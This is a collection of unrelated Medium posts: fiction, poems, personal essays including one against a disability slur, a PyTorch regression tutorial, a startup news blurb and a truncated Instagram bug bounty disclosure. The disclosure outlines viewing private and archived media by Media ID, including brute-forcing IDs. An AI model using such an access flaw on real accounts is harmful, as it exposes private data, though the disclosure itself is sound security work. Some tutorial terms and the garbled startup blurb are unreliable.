I and my closest classmate Jon are making plan for our summer trip. This will be the first time we become travel buddies. We are both excited that even choosing a destination is so hard right now. Some of the first names that just pop up in our mind are Venice, London, Athens etc. Oh why all of them are from Europe? Why don’t we choose to go to Asia instead? I love Pho because I am an American Vietnamese. However, Jon said that I have been eating Pho for my whole life. Now is the time that we should explore several new cuisines. It does make sense. After discussing hours and hours to decide the top three countries that we will visit this summer, we finally make a decision to go to explore Greece, Turkey and Egypt. They are quite close to each other and all have vividly historical facts plus spectacular landscapes. It has always been my dream to witness the land of the Olympian Gods — Greek mythology, while Jon is more interested in how the Pyramid was built and the rises of the Ottoman Empire that finally formed Turkey as a country today. Just thinking of the trip creates such a strong goosebump flowing all over my body. To continue planning for our vacation, Jon suggests us to pass by his uncle’s house for a hot homemade pizza before doing the research. Actually I am not a pizza fan, but I hope his family’s recipe will be more tasty than what I always try to avoid from the stores. It is also a nice courtesy to accept this invitation as I am so close to him.
When we knock on the door, there is a sound of baby crying. Nonetheless, when his uncle opens the door, the baby stops crying and we are showered with balloons, candies and decoration items. We are so surprised as everyone in the family just dress up as the Santa Claus.
“Wow!! Does everyone have an early Christmas’s mood in the middle of May? Did I miss anything?” — Jon said.
“We are celebrating auntie Mina’s death anniversary. She loved Santa Claus since childhood. This is one of her last wish that we have to cherish our life every year with her once it comes to this day.” — Jon’s uncle replied.
“What? Uncle Sam, are you kidding? What the hell when did auntie Mina pass away and I never knew?” — Jon’s eyes burst out into tears. He is astonished, shocked and hurt, so am I.
“It is ok, my boy! My little boy! We’re getting old everyday. Sooner or later, our life will fall as a leaf wilting from its tree. This is the reality that no one can escape. Mina loved you so much, not less than your parents or even more. We had already known that her heart could not battle against the turmoil 3 years ago, but she decided to keep it in secret. She knew this was your senior year in the university. Thus, she did not want you to worry. Mina hoped you to fully devote your mind to study and get the graduation on time. We were traveling the world during your academic years. At least she was happy to close her eyes in peace.” — Uncle Sam holds both Jon’s shoulders and looks straight into his watery eyes to explain about the situation.
I turn my sight away to hide every sobbing breath sounding as the infant’s wailing. At a moment, the baby is catching my eyes. I notice a slight mischievous smile on her rosy lips. Then, I look through the window. The aircraft is taking off to the clear blue sky, heading up to the blazing sunshine. I suddenly fantasize the Santa Claus riding the clouds in this summer day. | https://medium.com/@evelyncheung/santa-clauss-riding-on-the-summer-sky-f4e0acdec86f | ['Evelyn Cheung'] | 2020-12-28 22:35:51.587000+00:00 | ['Flash Fiction', 'Christmas', 'Travel', 'Summer', 'Santa Claus'] |
How to Build Honest Relationships With Boundaries | What are boundaries in relationships?
“Our boundaries might be rigid, loose, somewhere in between, or even nonexistent. A complete lack of boundaries may indicate that we don’t have a strong identity or are enmeshed with someone else.” Tracey Cleantis
Mark Manson says: Boundaries in relationships work both ways: they create emotional health and are created by people with emotional health.
Dr John Amodeo says: Having boundaries means honoring ourselves as a separate individual with needs and wants that often differ from others.
Dr Tracey Hutchinson says: Boundaries are basic guidelines that people create to establish how others are able to behave around them.
As a younger woman I wish I’d learned how to push boundaries more. I would have discovered what it took to stand up for myself and respect my needs, rather than waiting for someone else to grant me that human right.
I wish I’d understood what it felt like to set my own boundaries, instead of being so sensitively attuned to those of others. That fear instilled during early years of ‘being out-of-bounds’ kept me ‘bound’ for longer than needed.
Setting Boundaries Can Be Tricky
“When we fail to set boundaries and hold people accountable, we feel used and mistreated. This is why we sometimes attack who they are, which is far more hurtful than addressing a behavior or a choice.”― Brené Brown
Setting boundaries often comes with guilt for those who felt ‘bound’ for decades. The act of saying ‘no’ and prioritising oneself can feel selfish and ignorant. An act of having ‘power over’ another.
I hear partners tussle with this idea. When this happens, the person feeling guilt at setting a boundary needs to tackle an old belief about what it means to meet another’s need before considering one’s own.
Putting yourself last so other people come to think of you as ‘a nice person who always thinks of others’ is duping yourself into taking the role of ‘passive people pleaser’.
A friend used to describe this as the ‘burnt chop syndrome’. A place where mothers (usually it was the mother) would offer others the best pieces of meat and give herself the burnt, shrivelled, dried-out left-overs.
This doesn’t set up a person for having relationships built on equality, fairness or respect in their life. Much needs to be unlearned before creating respectful and healthy boundaries.
There will always be times when each of us puts another person’s needs first — in times of ill-health, a pressing problem or through being gracious or giving of one’s resources. That’s having a healthy boundary — one that flex in given circumstances.
Are Boundaries Necessary?
Your personal boundaries protect the inner core of your identity and your right to choices. Gerard Manley Hopkins
Boundaries can feel so unnecessary when all is going well. In the early days a couple may feel they’ve intuitively read the same book on how to be relationally compatible. Nothing seems to get in the way of love and connection during those early days.
However, that blissful state lasts just long enough for us to relax before ego re-emerges for a reality check-up. | https://medium.com/curious/how-to-build-honest-relationships-with-boundaries-f8116f049b15 | ['Barbara Grace'] | 2021-09-08 13:47:57.140000+00:00 | ['Boundaries', 'Relationships', 'Love', 'Couples', 'Self Love'] |
Roll the R-Word Off Your Tongue: The Evolution of a Word | Long gone are the days where sticks and stones may break your bones but names will never hurt you. The simple combination of words such as “I don’t like you”, or singletons like “faggot”, “ugly” and “scum” can be a lot more painful than being on the receiving end of a swift backhander to the face. Unlike physical injuries — which often resolve with time, the psychological impact stemming from both intentional and unintentional verbal abuse undeniably manifests many problems. Words can sometimes cause lifelong damage that may never heal. I carry with me the lifelong emotional and psychological pain a particular word has brought to my family and myself, growing up with my triplet brother who has multiple disabilities.
I am a Speech Pathologist, passionate about communication and basic human rights, which I believe should, in an ideal world, come hand in hand. The ability to communicate with familiar or unfamiliar people in various situations, effectively, meaningfully and confidently is an indisputable freedom everyone deserves. Speech pathology enables me to positively contribute, by optimizing an individual’s potential to achieve this skill. It can be as intricate as manipulation of the speech production mechanism, addressing poor phonological awareness, using alternative or augmentative communication, or other rewarding processes, such as reducing communication barriers or improving confidence in everyday communication.
There are more than just rights that need to be addressed. I want to discuss how I think everyone can offer greater support for people with disabilities to achieve the same freedom as others. I also believe it starts with something simple… Females, different ethnic groups, people with alternative sexual orientations, children, or those with disabilities, can only make the most of their deserving rights, if they feel supported. Being supported is the basis to achieving the desired result — which in most cases is living the life we desire, happily and free from fear or judgment.
I am a triplet with two amazing brothers, and we are twenty-three. One of my brothers Pierce, is terminally ill with a diagnosis of an aggressive Acute Lymphoblastic Leukaemia. He underwent chemotherapy, which proved to be unsuccessful, so he was given the only other viable option of immunotherapy, which ‘masks’ the Leukaemia and essentially helps us gain time with him. It is basically still an experimental drug and in very limited supply due to cost and high demand. Pierce also has Down Syndrome, Bi Polar Disorder and Autism. While my family experiences the most difficult time of our lives coming to terms with Pierce’s prognosis and accepting a bleak future, I have found myself spending a lot of time thinking about all the things I’d like to do for him.
Creating awareness about the impact a particular word has on ours, and many people’s lives is high on my bucket list.
I began writing this as a form of self-expression, then I realised there were various other reasons compelling me to start this discussion. The #timesup movement which focused on sexual harassment in response to the ‘Weinstein effect’, recently ascended, and I found it a more-than-appropriate time to speak out and address the deserving rights of individuals with disabilities. Then, I found it an even more appropriate time to discuss negatively loaded words in light of a recent controversial joke attempt made by a renowned comedian on Netflix — which in fact, attacked a vulnerable, marginalized group in our society. But the most important reason for doing this is in light of my experiences surrounding my triplet brother Pierce. He is a constant reminder for me to push outside my boundaries and to see the good in people, as well as the potential people have to be good. I will delve a little deeper, but first thing’s first.
We all know the R-word, don’t we?
It’s a little bit like the F-word but it differs in that it’s arguably more offensive, degrading and it personally leaves me feeling more than a little uneasy. You might genuinely not know which word I’m talking about? Perhaps the word you’re thinking of doesn’t seem insulting. Perhaps you’re thinking you’d like to stop reading now, because you know which word I’m talking about and feel that I’m just being a little sensitive. Or, perhaps you use it in your everyday vocabulary and don’t see what the fuss is about? In any case, if you haven’t already figured it out, I’m talking about the word ‘retard’.
Lots of people have different views about this word.
Here’s mine — from someone who is affected by this word and not because I’m ‘soft’, but because my lived experiences with this word are negative and hurtful, as it is for so many others. I like to think of the etymology of the word ‘retard’ as a little like a game of UNO. For starters, its use is most popular amongst 8–16 year old children. However, adults will sometimes join in, often out of boredom, and it can end in tears. There are variations, but the underlying goal is the same. Overall, it becomes progressively tiresome, and no one usually ends up winning. But hey, join in if you’re after a cheap laugh.
Dating back as far as the 1400’s, the word ‘retard’ derived from the Latin word ‘retardare’ meaning to hinder or make slow. Like a game of UNO — this is kind of a little like the instructions, or the House Rules. Someone, somewhere along the line set down the rules and the general population went along with it without asking too many questions.
In 1704 the word was first printed in an American Newspaper from a scientific perspective, but it wasn’t until the 1960s when the word was first used to label people who were intellectually disabled. The ambition was to re-label individuals as ‘mentally retarded’, rather than to use what were considered to be, at the time, ‘out-dated’ terms such as imbecile or moron. The word became abbreviated, as many similar terms have, from an adjective to a noun in common use. This is the part where a player bends the rules. But hang on, some didn’t sign up for this when learning the House Rules?
It wasn’t until more recently — in fact, only 33 years ago today — when it became somewhat socially acceptable for the word to be used as a reference for people who were intellectually or even physically disabled. The REVERSE card is now dealt. From here, everything goes backwards, and those affected are forced to continue on with the hope they’ll survive.
The word soon rapidly became a term of derision, when it was frequently interchanged with words such as idiot or stupid. A big fat DRAW4 WILD CARD is presented. Those susceptible to this pitfall are defenceless.
Particular media and representative groups such as congress have rallied to outlaw this word altogether, but it is still regularly used by many, worldwide, and people I know personally, today. This is where the SKIP card comes in. Players use this card when they prefer to pass and do little to interfere with the state of play. They just want to go with the flow.
Then, in America in 2010, the mission to eliminate the federal government’s use of the R-word was achieved by a young girl called Rosa Marcellino, who is a Special Olympics contender with Down Syndrome. She demonstrated why it is valuable to acknowledge and appreciate individuals who are handed a unique deck of cards in life. Now compare two card decks while playing UNO: Deck 1 — consisting of mostly the same colour, and Deck 2 — a handful of random cards with variation. One will soon find that the latter hand is preferable. In a game where conditions change so rapidly and unpredictably, holding a diverse hand is better. This is particularly applicable in a world where the environment, people and social expectations also change so frequently. With diversity and difference, comes the power to control the future. There is more to work with, it can provide perspective, and it can certainly help you out. Diversity and difference wins both the game of UNO and this game we call LIFE every time.
It has taken me much of my twenty-three years to gain the courage to confess my loathing of the ‘R-word’, but still not to anyone directly. I first used the word ‘retard’ many, many years ago, when I was listening to the Black Eyed Peas track “let’s get it started” and I remember explaining to Mum how there were two versions, with the second substituting “let’s get retarded”. I was advised very quickly by Mum to listen to version one and encouraged not to use this word, and without really understanding why, I never used that word again. Simple.
When we were quite young, a bully in our hometown saw our brother hopping off what was commonly referred to as the “short” bus. He smirked and told Healy and I he had seen our ‘retarded’ brother. At the time I didn’t know what he meant by this. Healy later explained to me when we got home and we both cried, devastated at the thought someone would make fun of him when he’d never done anything wrong. With this confronting experience at quite an early age, we soon realized what we were all in for, particularly when growing up in a small country town.
Since those early days, I accepted it as okay for strangers, close friends, distant family members and even partners to use this word around me — peculiarly, when they all knew that I had a very close brother of mine with multiple disabilities. I used to think I’d just let it go because I believed it wasn’t up to me to tell people what they should or shouldn’t say. It is always extremely difficult to confront anybody — especially friends — in this way. This may be the very reason the R-word is still around in this day and age. It is perhaps only when some insulting words become illegal or politically incorrect, that things may change. It was always a letdown for me when I’d hear friends choose to use this word as part of their everyday vocabulary. I seldom find people I know quite well, who don’t use the R-word. When I actually come across these ‘non-users’, I find it a very attractive quality in them. It would be silly to eliminate all the people who say the R-word from my life — because it may just be a case of enlightenment to perhaps change their thoughts a little, and they are all generally of good will.
But where do we draw the line? What about all those other words we use like idiot and moron — aren’t they offensive too? Although these words are still undeniably insulting, Peter Sokolowski who is an editor-at-large for Merriam-Webster, believes it has to do with the lack of knowledge surrounding word origins, and that greater understanding of our knowledge base for things like disorders and brain function has influenced necessary changes in vocabulary. Unfortunately, this concept hasn’t fully caught on with the infamous R-word. Language columnist for the Wall Street Journal Ben Zimmer, explains that similar words like ‘moron’ which originated in psychological research, lost their scholarly reputation very quickly as they became popularly used as synonyms for words like ‘fool’. The reason the R-word has lingered for so long is potentially because its medical and slang use overlapped for a greater period of time, where the word was used in both technical and jargon forms simultaneously causing ambiguity, confusion, and offense to many.
I’ve personally heard of educated people such as doctors, specialists and mentors use similar terms as a slur. I had a Speech pathologist as my Clinical Educator, who ironically, did not pass me in my placement due to ‘not achieving a high enough grade in a particular professional competency’, yet this woman frequently used the words ‘retarded’ and ‘gay’, and mocked the lower-income clientele in casual conversation at her desk. This woman was meant to influence, teach, demonstrate and inspire her students. She should be someone to look up to and learn from. But how could she inspire me when her morals and demeanor were something I found offensive. If a local medical specialist telling my parents about his difficult day having to wait in the disabled area “with all the Nuff Nuffs” isn’t enough to make you think about this as a serious social issue, I don’t know what is! It is clearly not simply education, but a lack of social awareness that can be the problem.
Over the last four years, I completed a course which partly specializes in tending and assisting people with disabilities, yet on numerous occasions I was surprised and disappointed to find various students using the R-word, both in context of a speech pathology scenario, and out of context when talking about things that they disagreed with, such as “our timetable is retarded” or “it’s retarded they have put our lecture on that day”. I often wonder what they think or feel when they hear or say the R-word. Nothing? I hope at some stage after some ‘enlightenment’, that there would be some thought given to the fact that this word will offend many people they work with throughout their career, unless that compassion simply is not there?
The R-word subject was further topical recently, following the outrage caused by famous comedian Tom Segura. He suggested the word ‘retard’ be replaced with ‘21st chromosome’, directly mocking individuals with Down Syndrome and relating them to the analogy of things that are senseless and stupid. In response to his comments, one particular woman stated, “Its one thing to defend the use of the word ‘retarded’ by saying you’re not referring to the most marginalized segment of our population, those with Down Syndrome. It is quite another to encourage people to actually start using ‘Down Syndrome’ itself, as a slur.” Others are supportive of Segura’s remarks, telling people if they don’t like it to turn it off, and that everyone has freedom of speech. While free speech is an undeniable right, and Segura is entitled to use the R-word if he pleases — the fact Segura made a specific reference to the Down Syndrome population as a slur, is simply a cheap shot at people who cannot defend themselves. I suppose it then raises the question, “Is no subject taboo in comedy?” Perhaps some should be. I know ‘retard’ or ‘cancer’ jokes will not be at the peak of a comedian’s trajectory, and they will certainly never reach the ‘highlights’ reel. Furthermore, this man is a public figure who influences many others, but he abuses this position and presents this type of behavior as acceptable. In response to this, Global Down Syndrome Foundation president and CEO, Michelle Sie Witten concludes “There are words that we are free to use, but as a society choose not to use because they are so directly tied to violence against a vulnerable population.” Perhaps Segura’s behaviour should no longer be acceptable, and ‘knowing your audience’ just doesn’t suffice.
I’ve always assumed it was common knowledge not to use the R-word in public, and especially not in front of someone who would potentially take offence. Quite often, the response of those using the word, when confronted, is that they don’t mean it in a ‘disabled way’ — they mean it in a “messed up” “stupid” “dumb” or “not working” way. Does this not blatantly confirm the destructive evolution of this word? How can people still not see its potential to cause pain? I think, regardless of which context the word is used in; its underlying meaning remains the same. It encourages the notion that cognitively impaired people are stupid or unwanted. I think I can confidently speak for all affected by this word, when I say that it hurts.
This is a difficult topic to address simply because it is so frequently brushed aside. I think the people who will resonate most with me, are those who have a disability themselves or have a family member or close friend with a disability. There are also seemingly few people who feel empathy about this topic for compassionate reasons or through lived experiences similar to mine. Perhaps I will be lucky enough to open up other’s perspectives on this topic. If it concerned someone’s child, their sibling or even themselves, would they change? Maybe this topic isn’t ‘on trend’, but it is in fact ‘current’. A lot of people cannot relate as closely to this topic as they can with others, such as abuse or gender inequality and I think that’s where the root of the problem lies. People generally aren’t offended by this word unless it affects them personally. Consequently, they are unlikely to change their ways. The great thing about this problem is that its resolution is so simple. Huge funds aren’t required for this to be a success, and no-one needs to go out of their way to get on board. Stopping use of a word is all that’s required.
I am very fortunate to have grown up in a family who welcomes diversity with open arms; from my adopted Uncle who is Aboriginal, to my Auntie who has Multiple Sclerosis. My father grew up with his late brother who also had a disability and upon reading my article he couldn’t agree more with my thoughts and feelings on the R-word. He found himself unable to physically say the word, as he’d suppressed it for so long. You can imagine how difficult it was proofreading this article aloud, together. Diversity is all around us — more than we all realize. There was no question about our use of the R-word in our household.
Coping with death is not easy in any respect. It’s no competition. All deaths are difficult in their own way. I struggle at the thought of spending our birthdays without our third. I struggle at the thought that my constant crying and state of grief is not justified, or that people think it’s “easier” because Pierce does not fully understand what is happening to him. Or even the fact that to some, he still might be considered ‘less of a person’. In addition to fighting for his own life, Pierce, among many, is fighting for respect in everyday life outside of cancer. There are countless ways to describe Pierce and the life we have shared with him. Inspirational, unique, positive, challenging, persistent… What Pierce has shared with us is anything but “retarded”.
I only see good purpose in increasing people’s knowledge and awareness about the pain some words can cause. This may continue to mean little to some people. Perhaps just being aware if you use the R-word in your everyday vocabulary might help. It may mean nothing to you as you might not be affected by it, but others could be, and probably are, even though they might not speak up. There is great value in being aware of whom you are speaking to, but there is much greater value in understanding and believing why you choose not to use this word among others. It doesn’t mean you have to change who you are, or how you express yourself. You just may offend no-one.
To have rights isn’t necessarily just the ability to be able to do something, but to do it with confidence, knowing you are supported. I have chosen to speak up for those I care about, my fellow R-word battlers who have put up with this for far too long, and those who might struggle to communicate for various reasons. I feel my duty as a Speech Pathologist entering the workforce, where I will be fortunate enough to meet many wonderful individuals who need my help and deserve to be treated like anyone else. People of all various abilities deserve to feel confident, comfortable and trusting in their environment. As a sister, I am constantly reminded to contribute and give back in any positive way you can, and Pierce has taught me and helped me to develop more personal, lifelong skills than any teacher ever could. I feel responsibility as a passionate person, with the profound concept that we as humans — inherently good people — can always do better. I know I will.
This social issue has been swept aside for far too long. Let’s pick up those tiny little dust piles that we all know create a greater mess if they’re left for too long, and chuck them in the tip once and for all. There is an online campaign called “Spread the Word to End the Word”. This acts to raise awareness and understanding of the impact this word has on people with disabilities and their loved ones. Jump on board and sign the petition if you agree, or if you’re not into publically declaring, do it personally, for yourself, your loved ones, strangers, or even for me. If you already choose not to use this word, that is fantastic.
Upon refreshing my internet browser in the hope of finding more recent local action had taken place, I was delighted to find, not long ago, a small ‘not-for-profit’ organization in Western Australia called Avivo, who spoke out about the R-word and it’s popular use on social media — where it is reportedly dropped once every 5 seconds on average. Avivo created a website in conjunction with like-minded individuals to give people the opportunity to learn about their personal experiences with the R-word. They have also intelligently integrated a system on Twitter that kindly sends people who use this word on this platform a link to watch their R-word support video. This provides insight and an opportunity to learn more about the word. Alongside this wonderful effort, let’s address this issue in schools, on the streets, within families, lecturers or tutors in universities, and throughout the community. It might be the most important thing a community, or an individual learns.
Replacing a word is even simpler than replacing a used toilet roll, but even this can be difficult for some. Many people are irretrievably stuck in their ways. I have shown just how easy it is to write a 4000-word article, free from plagiarism, as a result of quick access to an ample supply of synonyms with the click of a button or flick of a page. Sometimes, there’s an even better replacement for words we use all the time. See how creative you can be. Be inspired by late lexicographer Laurence Urdang who used the phrase “microcephalic, nanocerebral ninnyhammer.” Surely we can think up something a little more inspiring with luscious linguistics like this at the ready. Perhaps even just describing something, or someone, as ‘different’ may suffice?
It means much more than simply the removal of a word. It’s about a revolution of our perspectives and attitudes toward fellow human beings who have been stigmatized unnecessarily for as long as we all know. The world can be a happier, kinder, uncomplicated place.
If you’re with me on this, let’s make the ‘R-word’ unheard.
Sincerely,
Polly Hammerton.
#rolltherwordoffyourtongue
#wecandobetter
#rwordmovement
#rwordunheard
#GivetheR-Wordthebird
#saysomething
#wearenotapunchline
If you have a story, video, photo, poem, essay, guide, dance, (or anything else) to share with the world, follow the three easy steps in this link or publish your story on Medium and email it to [email protected]. If you prefer, you could also put your story into a word document, let us know whether you would like it published under your name or anonymously, and email it to [email protected].
Pledge your support to end the R-Word here. | https://medium.com/specialolympics/roll-the-r-word-off-your-tongue-the-evolution-of-a-word-1e06ab6e7fc8 | ['Dan Bellows'] | 2018-04-13 17:39:46.517000+00:00 | ['Disability', 'Special Olympics', 'Equality', 'Advocacy', 'Respect'] |
Doubt | Broken. Interrupted. Incomplete. Stop.
Enough.
Maybe life should be filled with more gratifying karma.
I tell myself to dump the guilt, trash the doubt,
breathe fire to the naked mashed moonlight
and let a million stars venture out
to play with monsters in the dark.
I’ve come to see that when I say
I’m OK, how are you — it’s automatic reflex talking,
my brain’s feng shui shuts out
the flow of space and time punctuated
with flatlined inflection,
without blinking or batting an eye,
I know I don’t need to let doors or floodgates open,
my windshield wiper mind sputters and spills everywhere in overdrive,
climbing walls and getting lost in stomping out the noise instead of listening to the wind,
and a sublimated primal scream
inaudibly tries to muffle pain,
that hides beneath misshapen shadows
collapsed under
purple skies,
MRI’s,
bruised delicate selfish lies,
that grow weary of empty pews chasing clouds
and clearing snow,
with double-layered armor on,
but the fly’s in the ointment,
perhaps painted in the stars,
maybe it’s the doubt that makes me strong enough
to break the silence of my soul. | https://medium.com/loose-words/doubt-b20b0bf9782d | ['Connie Song'] | 2020-12-21 13:19:55.215000+00:00 | ['Pain', 'Isolation', 'Loose Words', 'Poetry', 'Doubt'] |
Intro to pytorch I: Stochastic gradient | 1. Foundations
Careful with empty arrays, they contain random junk in memory. For true zeros use torch.zeros:
import torch #input
e = torch.empty(2,2)
print(e) #output
tensor([[ 0.0000e+00, -1.0842e-19],
[-5.9247e-01, 3.6902e+19]]) #input
z = torch.zeros(2,2)
print(z) #output
tensor([[0., 0.],
[0., 0.]])
numpy and pytorch play nice with each other:
import numpy as np #input: from numpy to tensor
nump = torch.tensor(np.linspace(0,3,5))
print(nump) #output
tensor([0.0000, 0.7500, 1.5000, 2.2500, 3.0000], dtype=torch.float64) #input: from torch to numpy
nump.numpy() #output
array([0. , 0.75, 1.5 , 2.25, 3. ])
Explicit tensor creation is a cake walk:
#Explicit creation of 2x2x2 tensor:
t3 = torch.tensor([[[1,2],[3,4]],[[5,6],[7,8]]], dtype = torch.int) # this method creates a new tensor "y" that has the same datatype as # the original tensor t3
y = t3.new_ones(2,1) #Cross Product
t3 @ y #output
tensor([[[ 3],
[ 7]],
[[11],
[15]]], dtype=torch.int32)
Dot product:
#input
t3 * t3 #output
tensor([[[ 1, 4],
[ 9, 16]],
[[25, 36],
[49, 64]]], dtype=torch.int32) #The `*_` method works like `inplace=True` in pandas #input
t3.add_(t3) #output
tensor([[[ 2, 4],
[ 6, 8]],
[[10, 12],
[14, 16]]], dtype=torch.int32)
2. Autograd
Autograd allows automatic differentiation for all operations on Tensors.
# Create a tensor and set requires_grade=True
# to track computation with it
x = torch.ones(3,2, requires_grad=True) # Because y was created as a result of an operation,
# it also has a grad_fn method
y = 3*x - 4
print(y) #output
tensor([[-1., -1.],
[-1., -1.],
[-1., -1.]], grad_fn=<SubBackward0>) # We can do more to y (and thus x) and calculate its derivatives
z = 2*y**2
w = z.mean() print("z: {},
w: {}".format(z, w)) #output
z: tensor([[2., 2.],
[2., 2.],
[2., 2.]], grad_fn=<MulBackward0>),
w: 2.0 #Computes the gradient of current tensor
w.backward()
x.grad #output
tensor([[-2., -2.],
[-2., -2.],
[-2., -2.]])
3. LR With Stochastic Gradient Descent
The starting point for much of this notebook is based notes I transcribed from Dr. Alvarez’s excellent ODSC presentation: “Understanding the PyTorch Framework with Applications to Deep Learning.”
Step #1: Basic Definitions of Data Space
n_data = 10_000
X = torch.ones(n_data,2) #populate random points into X
X[:,0].uniform_(-1.15,1.15) actual = torch.tensor([np.random.uniform(-14,14),
np.random.uniform(-14,14)]) y = X @ actual + torch.randn(n_data)/3
Step #2: Train/Test Split
There is no auto-covariance in this toy data dataset, therefore a simple train test split will suffice.
#Train test split
train_size = int(n_data * .75)
test_size = n_data - train_size X_train, X_test = X[0 : train_size, :], X[train_size : n_data, :]
y_train, y_test = y[0 : train_size], y[train_size : n_data] import matplotlib.pyplot as plt plt.scatter(X_train[:,0], y_train, s = .1);
Step #3: Define Scoring Function
def mean_standard_error(y, y_pred):
return ((y - y_pred) ** 2).mean()
Step #4: Start with a arbitrary model to begin training
#A random prediction
model = torch.tensor([np.random.uniform(-14,14),
np.random.uniform(-14,14)]) y_hat = X_train @ model
mean_standard_error(y_hat, y_train) plt.scatter(X_train[:,0],y_train, s = .1)
plt.scatter(X_train[:,0],y_hat, s = .1)
Step #5: Parameterize the model
import torch.nn as nn model = nn.Parameter(model)
model #output
Parameter containing:
tensor([8.6251, 6.5764], requires_grad=True)
Bringing Step 1–5 together
#A glorified stochastic gradient descent machine
def gentle_linear_torch(data, target, learning_rate, iterations):
answer = {}
def mean_standard_error(y_actual, y_pred):
return ((y_actual - y_pred) ** 2).mean()
#Random Initial Model
model = nn.Parameter(torch.tensor([np.random.uniform(-14,14),
np.random.uniform(-14,14)])) y_hat = data @ model
mean_standard_error(y_hat, target) for time in range(iterations):
y_hat = data @ model
loss = mean_standard_error(target, y_hat)
if time > 0 and last_loss == loss:
print("
convergence of SGD at step {}".format(time))
return(model)
break
if time > 0 and time % 5 == 0:
print("step: {:4} MSE: {:5}".format(time,
float(last_loss.data - loss.data)))
plt.scatter(data[:,0], target, s = .1, alpha = .05);
plt.scatter(data[:,0], y_hat.detach().numpy(), s = .1);
loss.backward()
with torch.no_grad():
#These *_ set values like inplace = True
model.sub_(learning_rate * model.grad)
model.grad.zero_()
last_loss = loss
return(model) sgd = gentle_linear_torch( X_train, y_train, .1, 1000)
y_hat = X_test @ sgd
float(mean_standard_error(y_hat, y_test)) #MSE output
0.10991530865430832 plt.scatter(X_test[:,0], y_test, s = .1, alpha = .5);
plt.scatter(X_test[:,0], y_hat.detach().numpy(), s = .1);
Plot on test set
Normal Equation Solution
Calculating the linear regression with Ordinary least squares (OLS) estimator:
theta = (torch.t(X_train) @ X_train).inverse() @ torch.t(X_train) @ y_train
print(theta)
print(sgd) #output
tensor([0.8584, 1.9531])
Parameter containing:
tensor([0.8580, 1.9532], requires_grad=True)
Done!
And there you have it. Let me know if you like these less verbose posts. Check out the next story in this series here. | https://medium.com/level-1/intro-to-pytorch-i-stochastic-gradient-d54594c879a2 | ['Michael Ruggiero'] | 2019-06-05 15:39:33.022000+00:00 | ['Linear Regression', 'Matrix', 'Python3', 'Pytorch', 'Tensor'] |
We begin with the promise of death | “So you will, right?” Amah glanced at me suspiciously. I shrugged and kept fiddling with my mud pie. I scraped the sides of my pie with a thick apple-leaf, smoothing the mud over the sandy interior.
“Yeah, yeah. Okay. Do you want a slice, Amah? I can cut you the part with the dandelion seeds.”
When I was a little girl, I spent hours and hours in our backyard, digging rabbit-holes in our faltering lawn, plucking weeds out of cement cracks, and carefully constructing mud pies. Though I know this couldn’t have been how our conversation went — my Amah barely speaks English — I still remember every word perfectly.
“Lielee,” Amah said. “Listen. You hear me, you understand? Repeat, so I know you heard.” She rolled a leaf between her fingers anxiously, crumpling it to a smooth dust in her hands.
“Yes, yes. The rain. The mud is so soft. Isn’t it, Amah? Rain is so good for pies,” I said. I placed a few smooth pebbles around the rim of the mud pie, which I had carefully chosen for their texture and color. The pebbles were small and round. I liked the way they blinked at me, a line of beady blue eyes smiling and winking alluringly.
“Lielee! The rain!”
“Alright, alright! Don’t yell. I’ll bury you when it’s raining. Okay?”
“Okay,” Amah said, satisfied. “Okay. Wait, not so fast. Say it again.”
“Say what again?”
“Say it again. Repeat after me. I’ll bury you on a day it’s raining,” she replied.
“I’ll bury you on a day it’s raining.” I paused to scrape a wad of dirt from under my pinky nail. “Hey, Amah. Do you want some mud pie now?”
“Okay. No, not that one. The one with the dandelion seeds, please.” | https://medium.com/@altruong/we-begin-with-the-promise-of-death-827f366254dd | ['Angeline Ai-Nhi Truong'] | 2020-12-04 02:05:02.672000+00:00 | ['Vietnamese', 'Refugees', 'Novel Excerpt', 'Authors', 'Novel'] |
Photographs | Soft glide of fingers in these old photographs
mixed faces of the past
frozen time and kisses
of sepia colored memories
I can almost hear the sound of reeling
Can I live there?
in honest love
and deep charcoal eyes
wore silk dresses of melted pearls
and gentleman’s’ gazes
waltz and wallflowers and baby’s breath
Oh, let me come back
to a past life I might have | https://medium.com/scribe/photographs-e44e79e0674e | ['Elai Batac'] | 2020-07-18 11:59:56.046000+00:00 | ['Old Soul Young Body', 'Memories', 'Poetry', 'Vintage', 'Past'] |
36th unicorn startup of India announced. | Allow us to discuss unicorn new companies. A unicorn startup is a secretly held one the worth of which increments to more than USD 1 billion.
It is the Golden club, wherein as indicated by a specialist, just 0.001% of the new companies can enter. A great deal of speculation, difficult work and commitment is needed for a startup to have the option to accomplish this achievement.
The COVID 19 had put the economy on the stop, there was not a lot occurring. It was going down. Thus, the new companies and the organizations had endured a great deal in the monetary year 2020–2021.
There were work issues, individuals were losing their positions, no cash was being coursed in the economy.
Be that as it may, the year 2021, has shown a positive reaction. The economy has opened up, the lockdown has been eliminated, and the new companies and organizations are back in real life.
We are currently hearing day by day the fresh insight about fundings, ventures, sections, and leaves, consolidations and acquisitions, and so forth.
One of the striking highlights of the year 2021 is that it is seeing an exceptional expansion in the quantity of unicorn new businesses. We are at present in the long stretch of November, and we have arrived at the 36th unicorn startup of the year 2021.
The new financial backer likewise joined the startup in this round of subsidizing, which was the Prosus Ventures, which was recently known as Naspers. Different members in this round of financing were the current financial backer’s Accel Partners, Norwest Venture Partners, and Tiger Global.
The startup intends to utilize the assets brought up in getting new organizations. The startup likewise plans to utilize a piece of the assets in putting resources into the centre Mensa group.
Post this round of financing, the worth of the startup has expanded to more than USD 1 billion, along these lines entering the well known “Unicorn Club”.
After this round of financing, all-out reserves raised by the startup have come up to USD 300 million in value and obligation.
It has been only a half year since the startup was fused, and it has as of now transformed into a unicorn, in this way turning into the quickest Indian startup to get the situation with a unicorn. | https://medium.com/@startuptimes/36th-unicorn-startup-of-india-announced-520d2f1a1ae9 | ['Startup Times'] | 2021-11-24 10:14:08.245000+00:00 | ['Company', 'Worth', 'Unicorns', 'Brands', 'Startup'] |
This is how I was able to see Private, Archived Posts/Stories of users on Instagram without following them | This is how I was able to see Private, Archived Posts/Stories of users on Instagram without following them Mayur Fartade Follow Jun 15 · 3 min read
I am Mayur Fartade from Maharashtra. This is my first bug in the Facebook Bug bounty program.
Description
This bug could have allowed a malicious user to view targeted media on Instagram. An attacker could have been able to see details of private/archived posts, stories, reels, IGTV without following the user using Media ID.
Details include like/comment/save count, display_url, image.uri, Facebook linked page(if any) and other.
Impact
Data of users can be read improperly. An attacker could able to regenerate valid CDN URL of archived stories & posts. Also by brute-forcing Media ID’s, the attacker could able to store the details about specific media and later filter which are private and archived.
Repro steps
Steps:
